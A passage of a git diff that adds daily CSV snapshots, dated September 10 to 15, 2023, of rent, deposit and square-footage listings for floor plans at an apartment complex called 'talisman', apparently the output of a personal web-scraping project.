a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230910.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230910.csv new file mode 100644 index 00000000000..0bd57744584 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230910.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230910,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230910,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230910,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230910,talisman,A1 (1x1),1 Bed 1 Bath,"$1,775",$300,604 - 671 sq.ft.,None,N/A +20230910,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230910,talisman,A3 (1x1),1 Bed 1 Bath,"$1,855",$300,609 - 642 sq.ft.,None,N/A +20230910,talisman,A2 (1x1),1 Bed 1 Bath,"$1,825",$300,617 - 715 sq.ft.,None,N/A +20230910,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230910,talisman,A6 (1x1),1 Bed 1 Bath,"$1,820",$300,650 sq.ft.,None,N/A +20230910,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230910,talisman,B5 (1x1),1 Bed 1 Bath,"$2,078",$300,674 - 775 sq.ft.,None,N/A +20230910,talisman,B2 (1x1),1 Bed 1 Bath,"$2,093",$300,706 - 739 sq.ft.,None,N/A +20230910,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230910,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230910,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230910,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230910,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230910,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230910,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230910,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230910,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230910,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230910,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230910,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230910,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230910,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230910,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230910,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230910,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230910,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230910,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230910,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230910,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230910,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230910,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230910,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230910,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230910,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230910,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230910,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230910,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230910,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230910,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230910,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230911.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230911.csv new file mode 100644 index 00000000000..f5313203981 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230911.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230911,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230911,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230911,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230911,talisman,A1 (1x1),1 Bed 1 Bath,"$1,795",$300,604 - 671 sq.ft.,None,N/A +20230911,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230911,talisman,A3 (1x1),1 Bed 1 Bath,"$1,875",$300,609 - 642 sq.ft.,None,N/A +20230911,talisman,A2 (1x1),1 Bed 1 Bath,"$1,845",$300,617 - 715 sq.ft.,None,N/A +20230911,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230911,talisman,A6 (1x1),1 Bed 1 Bath,"$1,840",$300,650 sq.ft.,None,N/A +20230911,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230911,talisman,B5 (1x1),1 Bed 1 Bath,"$2,078",$300,674 - 775 sq.ft.,None,N/A +20230911,talisman,B2 (1x1),1 Bed 1 Bath,"$2,093",$300,706 - 739 sq.ft.,None,N/A +20230911,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230911,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230911,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230911,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230911,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230911,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230911,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230911,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230911,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230911,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230911,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230911,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230911,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230911,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230911,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230911,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230911,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230911,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230911,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230911,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230911,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230911,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230911,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230911,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230911,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230911,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230911,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230911,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230911,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230911,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230911,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230911,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230912.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230912.csv new file mode 100644 index 00000000000..7748d310cab --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230912.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230912,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230912,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230912,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230912,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230912,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230912,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230912,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230912,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230912,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230912,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230912,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230912,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230912,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230912,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230912,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230912,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230912,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230912,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230912,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230912,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230912,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230912,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230912,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230912,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230912,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230912,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230912,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230912,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230912,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230912,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230912,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230912,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230912,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230912,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230912,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230912,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230912,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230912,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230912,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230912,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230912,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230912,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230912,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230912,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230913.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230913.csv new file mode 100644 index 00000000000..040ddc39de6 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230913.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230913,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230913,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230913,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230913,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230913,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230913,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230913,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230913,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230913,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230913,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230913,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230913,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230913,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230913,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230913,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230913,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230913,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230913,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230913,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230913,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230913,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230913,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230913,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230913,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230913,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230913,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230913,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230913,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230913,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230913,talisman,C1 (2x2),2 Bed 2 Bath,"$3,133",$300,1029 - 1294 sq.ft.,None,N/A +20230913,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230913,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230913,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230913,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230913,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230913,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230913,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230913,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230913,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230913,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230913,talisman,D1 (3x2),3 Bed 2 Bath,"$3,258",$300,1241 - 1362 sq.ft.,None,N/A +20230913,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230913,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230913,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230914.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230914.csv new file mode 100644 index 00000000000..7402a4f7001 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230914.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230914,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230914,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230914,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230914,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230914,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230914,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230914,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230914,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230914,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230914,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230914,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230914,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230914,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230914,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230914,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230914,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230914,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230914,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230914,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230914,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230914,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230914,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230914,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230914,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230914,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230914,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230914,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230914,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230914,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230914,talisman,C1 (2x2),2 Bed 2 Bath,"$3,133",$300,1029 - 1294 sq.ft.,None,N/A +20230914,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230914,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230914,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230914,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230914,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230914,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230914,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230914,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230914,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230914,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230914,talisman,D1 (3x2),3 Bed 2 Bath,"$3,258",$300,1241 - 1362 sq.ft.,None,N/A +20230914,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230914,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230914,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230915.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230915.csv new file mode 100644 index 00000000000..94730a6cc47 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230915.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230915,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230915,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230915,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230915,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230915,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230915,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230915,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230915,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230915,talisman,A6 (1x1),1 Bed 1 Bath,"$1,867",$300,650 sq.ft.,None,N/A +20230915,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230915,talisman,B5 (1x1),1 Bed 1 Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230915,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230915,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230915,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230915,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230915,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230915,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230915,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230915,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230915,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230915,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230915,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230915,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230915,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230915,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230915,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230915,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230915,talisman,C5 (2x2),2 Bed 2 